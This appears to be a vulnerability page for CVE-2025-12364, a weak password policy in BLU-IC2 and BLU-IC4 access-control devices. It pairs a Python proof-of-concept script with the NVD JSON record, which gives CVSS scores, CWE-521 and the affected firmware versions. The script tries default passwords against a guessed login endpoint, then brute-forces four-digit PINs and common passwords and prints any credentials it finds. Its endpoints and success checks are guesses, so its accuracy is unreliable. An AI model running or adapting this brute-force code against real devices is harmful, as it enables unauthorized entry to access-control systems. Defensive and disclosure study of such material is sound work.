CVE-2025-12364

# CVE-2025-12364 PoC - BLU-IC2/IC4 Weak Password Policy # Target: BLU-IC2 and BLU-IC4 devices # This PoC demonstrates weak password authentication bypass import requests import sys TARGET_HOST = "http://target-device-ip" COMMON_WEAK_PASSWORDS = [ "admin", "password", "123456", "root", "default", "1234", "pass", "blu-ic2", "blu-ic4", "user", "administrator" ] def test_weak_password(target, username="admin"): """ Test weak password authentication on BLU-IC2/IC4 """ for password in COMMON_WEAK_PASSWORDS: try: # Typical authentication endpoint login_url = f"{target}/login" data = { "username": username, "password": password } response = requests.post(login_url, data=data, timeout=10) # Check for successful login indicators if response.status_code == 200 and ( "session" in response.text.lower() or "token" in response.text.lower() or response.headers.get("Set-Cookie") ): print(f"[+] VULNERABLE: Weak password found!") print(f" Username: {username}") print(f" Password: {password}") return True except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") print("[-] No weak passwords found") return False def brute_force_login(target, username="admin"): """ Brute force attack on authentication endpoint """ print(f"[*] Starting brute force attack on {target}") # Additional password patterns passwords = [f"{i}" for i in range(1000, 9999)] # 4-digit PINs passwords += ["pass123", "pass1234", "admin123", "root123"] for password in passwords[:100]: # Limit attempts try: login_url = f"{target}/api/auth/login" response = requests.post( login_url, json={"username": username, "password": password}, timeout=5 ) if response.status_code == 200: print(f"[+] Found valid credentials: {username}:{password}") return True except: continue return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] print(f"[*] CVE-2025-12364 PoC - Testing {TARGET_HOST}") print("[*] Target: BLU-IC2/IC4 Weak Password Policy\n") result = test_weak_password(TARGET_HOST) if not result: print("[*] Trying brute force attack...") brute_force_login(TARGET_HOST)

{"cve": {"id": "CVE-2025-12364", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-27T18:15:38.857", "lastModified": "2025-11-10T14:54:46.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weak Password Policy.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-521"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}